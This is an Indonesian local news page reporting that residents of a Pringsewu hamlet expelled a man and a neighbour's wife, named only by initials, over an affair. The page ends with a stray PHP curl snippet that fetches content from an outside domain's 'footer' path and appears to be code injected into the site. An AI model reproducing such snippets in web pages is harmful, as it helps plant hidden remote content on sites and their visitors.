Gara-Gara Wik Wik Istri Tetangga WGN Diberi Sangsi Dikeluarkan Dari Dusun 

Rabu, 6 Januari 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info | Pringsewu, Gara gara Wik Wik istri tetangga WGN  dan SYTN istri dari SGN warga Dusun Sinar Petir,Pekon Banjarejo,Kecamatan Banyumas ,Kabupaten Pringsewu akhirnya diberikan sangsi sosial oleh masyarakat setempat keluar dari dusun setempat .
Diberikannya sangsi sosial oleh warga setempat tersebut berdasarkan hasil rembuk Pekon  yang dihadiri oleh kapospol Banyumas Tandi E, Pj.Pekon Banjarejo Sarjudi  pelaku WGN ,Kadus IV Pasir Ukir Pekon Banjarejo Kosirun , Tokoh pekon setempat  dan warga setempat  Tampa mengahdirkan SYTN istri   SGN buang berlangsung selama dua hari yakni Selasa (05/01/2021) dan Rabu (06/01/2021)
Berdasarkan hasil rembuk Pekon tersebut yang alot tersebut  Pelaku WGN dan SYTN istri SGN mengahasilkan kesepakatan yakni diberikan sangsi sosial oleh warga setempat yang hadir pada saat rembuk pekon tersebut  bagi kedua pelaku  tersebut tidak boleh lagi bertempat tinggal  di dusun 4 pasir ukir ,pekon Banjarejo , Kecamatan Banyumas ,kabupaten Pringsewu alias diusir oleh warga setempat
Hal tersebut dijelaskan oleh kapospol Banyumas ,bahwa itu merupakan sangsi sosial yang diberikan warga setempat yang disaksikan Kadus 4 Kosirun dan juga merupakan tuntutan dari SGN suami dari SYTN serta tokoh masyarakat serta warga lainnya yang hadir
“Kami hanya mepasilitasi saja dan  itu benar benar keinginan warga setempat serta tuntutan dari suami pelaku SYTN bahwa warga meminta agar kedua pelaku dikeluarkan dari lingkungan dusun 4 pasir ukir ,dan untuk menjaga hal hal yang tidak diinginkan akhirnya sepakat surat pernyataan ditanda tangani oleh yang bersangkutan ” lanjut Kapospol warga  terkait mau kembali lagi ke dusun 4 pasir ukir tergantung warga setempat ujar Kapospol usai rembuk pekon selesai”Terangnya”
Sementara Pj. Pekon Banjarejo Sarjudi juga menjelaskan kepada awak media bahwa kejadian serupa itu pernah dilakukan pelaku WGN  tahun 2011 kepada istri tetangga yang  lainnya namun selesai di buat pernyataan saja dan kali ini terulang kembali jadi wajar jika warga setempat menjadi berang sehingga yang bersangkutan WGN diberikan sangsi seperti itu.
“Mungkin warga dusun 4 pasir ukir berang dengan perbuatan WGN dan SYTN istri dari SGN tersebut sehingga warga dan suami pelaku meminta kedua orang tersebut harus keluar dari Dusun 4 Pasir ukir dengan waktu yang tidak ditentukan ” terang Sarjudi
Dikatakan Sarjudi sebagai aparatur pekon dan ini merupakan kesepakatan antara pelaku dan suami korban, tokoh masyarakat dan warga setempat memang maunya seperti itu dan sepakat antar kedua belah pihak ya silahkan saja, dan tentang pelaku mau kembali lagi atau tidak itu terserah kepada warga setempat ” pungkasnnya
(Bmg/AN)
Baca Juga:  Genjot Produksi Gabah Petani, Dispertan Kaur Kembali Salurkan 50 Ton Benih Unggul
Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kontingen Karate Pasmar 2 Rebut Juara Umum Kejuaraan Karate Se-Jatim
Muswil ke-1 Chepi dari Info Terbit Terpilih Sebagai Ketua FPII Banten Periode 2022-2027 
Ketua DPD PJI-D Ngopi Bareng  bersama Ketua DPC PJI-D Inhil 
Pasca Banjir, PUPR Usulkan Pembangunan Empat Titik Saluran Drainas
Masyarakat Mengeluh Gas Elpiji 3 Kg Langkah Dan Harga Melonjak Naik Di Eceran
DPO Perkara Tindak Pidana Korupsi Dana Desa (DD) di Ringkus
Gelar Vaksinasi Massal, Pemkab Kaur Tergetkan 2000 Dosis
Rutan Medaeng Akan Dibuat Mirip Apartemen

Berita Terkait

Senin, 8 Agustus 2022 - 21:30 WIB

Kontingen Karate Pasmar 2 Rebut Juara Umum Kejuaraan Karate Se-Jatim

Senin, 27 Juni 2022 - 22:25 WIB

Muswil ke-1 Chepi dari Info Terbit Terpilih Sebagai Ketua FPII Banten Periode 2022-2027 

Senin, 27 Juni 2022 - 21:29 WIB

Ketua DPD PJI-D Ngopi Bareng  bersama Ketua DPC PJI-D Inhil 

Kamis, 10 Februari 2022 - 06:46 WIB

Pasca Banjir, PUPR Usulkan Pembangunan Empat Titik Saluran Drainas

Senin, 13 Desember 2021 - 13:29 WIB

Masyarakat Mengeluh Gas Elpiji 3 Kg Langkah Dan Harga Melonjak Naik Di Eceran

Berita Terbaru

Peristiwa

Kecelakaan Tunggal di Kota Depok, Mobil tabrak Minimarket

Rabu, 16 Okt 2024 - 14:09 WIB

Peristiwa

Dianggap Tebar Fitnah, Akun @syahwalali Resmi Dilaporkan

Rabu, 16 Okt 2024 - 13:37 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>